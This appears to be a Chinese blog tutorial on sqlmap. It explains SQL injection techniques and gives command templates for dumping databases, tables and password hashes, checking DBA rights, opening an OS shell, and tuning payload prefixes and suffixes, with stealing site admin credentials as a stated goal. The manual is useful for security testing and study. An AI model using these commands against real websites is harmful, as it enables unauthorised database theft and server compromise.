sqlmap使用手册

目录

一、sqlmap介绍

二、常用命令

二、进阶命令

--technique=BEUST

--prefix与 --suffix

--level

三、注入https网站

四、进行POST注入


一、sqlmap介绍

       相对于手工注入,sqlmap的高效注入大大提高了我们渗透效率。Sqlmap采用了以下5种独特的SQL注入技术:

  • 联合查询,在可以使用Union的情况下注入(注入效率最高,成本最低)
  • 报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 布尔盲注,即可以根据返回页面判断条件真假的注入
  • 延时注入,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 堆叠查询,可以同时执行多条语句时的注入

注入小技巧:有回显可以用联合查询,有报错可以用报错注入。都没有再看有没有布尔类型的状态(显示或者不显示)。若以上都没有,试试用延时注入。或者我们直接测试延时注入

二、常用命令

当发现sql注入的时候,根据我们注入的不同,对sqlmap使用的参数也不同

1. 目的是获取网站后台管理的账号密码

  • 查看当前数据库名字,即当前网站所属数据库名字
  • 列出数据库中的表
  • 觉得哪个表放着账号密码,就爆哪个表
  • 一般密码经过了md5加密处理,需要进行hash碰撞

2. 目的是获取mysql的管理账号、密码进行远程连接

  • --users
  • --passwords
sqlmap  -u  URL    			    检查注入点
sqlmap  -u  URL  --dbs 		    列出数据库中所有数据库的名字
sqlmap  -u  URL  --is-dba  	    当前用户是否是数据库管理员
sqlmap  -u  URL  --current-db	显示当前数据库的名字
 
-D					            指定数据库
--tables			            列出所有表名
qlmap  -u URL -D "xx"  --tables         列出xx数据库中的所有表

-T					            指定一个表
--columns			            列出所有的字段名
qlmap  -u  URL  -D "xx"  -T  "cc"  --columns     列出表中所有的字段名

-C					            指定一个字段名
--dump				            列出字段内容
qlmap  -u  URL  -D "xx"  -T  "cc"   -C  "x,x,.."  --dump     列出字段内容(-T ,-C之类的要用大写不然有时候会读不出来)

sqlmap -r a.txt -p username     倒入txt文档的post数据包,并指定参数username进行注入
 
--dbms mysql                    指定注入的数据类型为mysql数据库
  
--os-shell                      尝试写入shell 

sqlmap -u url --batch --smart   自动聪明的选择,即执行的时候不需要我们再手动的进行选择yes或者no(但是由于机器自动进行选择,所以有时候结果会不一样比如没有结果,所以建议少使用)

--force-ssl                     测https的时候

--cookie "cookie值"             有些网站要登录才行,所以需设置cookie
--threads=10                    开启多线程,默认是单线程为1,最大10。线程越大检测速度越快
--users                         获取mysql数据库管理用户,mysql安装时会默认有一个root用户,除了这个用户可能还会创建有其他用户,这个参数可以将这些用户列出了
--passwords                     获取mysql数据库管理用户的hash值

--dbms:指定注入的数据库类型,如Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, Percona, PostgreSQ

-v 3

       如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1:

  • 0    只显示python错误以及严重的信息。
  • 1    同时显示基本信息和警告信息。(默认)
  • 2    同时显示debug信息。
  • 3    同时显示注入的payload。
  • 4    同时显示HTTP请求。
  • 5    同时显示HTTP响应头。
  • 6    同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是-v 3。

二、进阶命令

--technique=BEUST

有时候我们手工探测出来注入是某种类型,为了节省时间,我们可以直接指定sqlmap注入的类型

BEUST的值可以是"BEUST"中的一种。

  • B: Boolean-based blind SQL injection(布尔型注入)
  • E: Error-based SQL injection(报错型注入)
  • U: UNION query SQL injection(可联合查询注入)
  • S: Stacked queries SQL injection(可多语句查询注入)
  • T: Time-based blind SQL injection(基于时间延迟注入)

sqlmap.py  -r x.txt  -v3  --technique=B    #指定进行布尔盲注

--prefix与 --suffix

  • --prefix 在payload最前面加上指定的字符
  • --suffix 在payload最后面加上指定的字符

我们在注入的时候经会碰到需要在payload前加上指定的字符要构造闭合,如下这种情况,我们找到了注入点为' ,但是还得在后面加上 or ' 才行,与原来的sql语句构成闭合

所以我们就指定sqlmap在每个payload前面加上 ' ,每个payload后面加上 or '

sqlmap.py -r x.txt --prefix "'"  --suffix " or '" -v3

--level

有时候注入的时候,我们发现了注入点但是使用sqlmap确注入不出来,发现sqlmap只发出了十几个包就说漏洞不存在然后停止运行了。那很有可能是你没有加此参数进行注入。

--level有五个等级(1-5),默认使用等级1进行注入。级别越高sqlmap发送的探测payload就越多,越有可能发现注入漏洞。为了尽可能发现漏洞,我们应该使用更高的级别,如--level 5

sqlmap.py -r r.txt -dbms mysql --technique=T -v3 --level 5

三、注入https网站

sqlmap跑https站点会报错,传送门 -》sqlmap跑https网站

四、进行POST注入

不管是POST还是GET型注入,我们都可以在想要注入的参数后加*,代表对此参数进行注入,如对id参数进行注入,sqlmap -u " https://xx.xx.com?id=23* "

——> sqlmap执行POST注入的两种方式

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值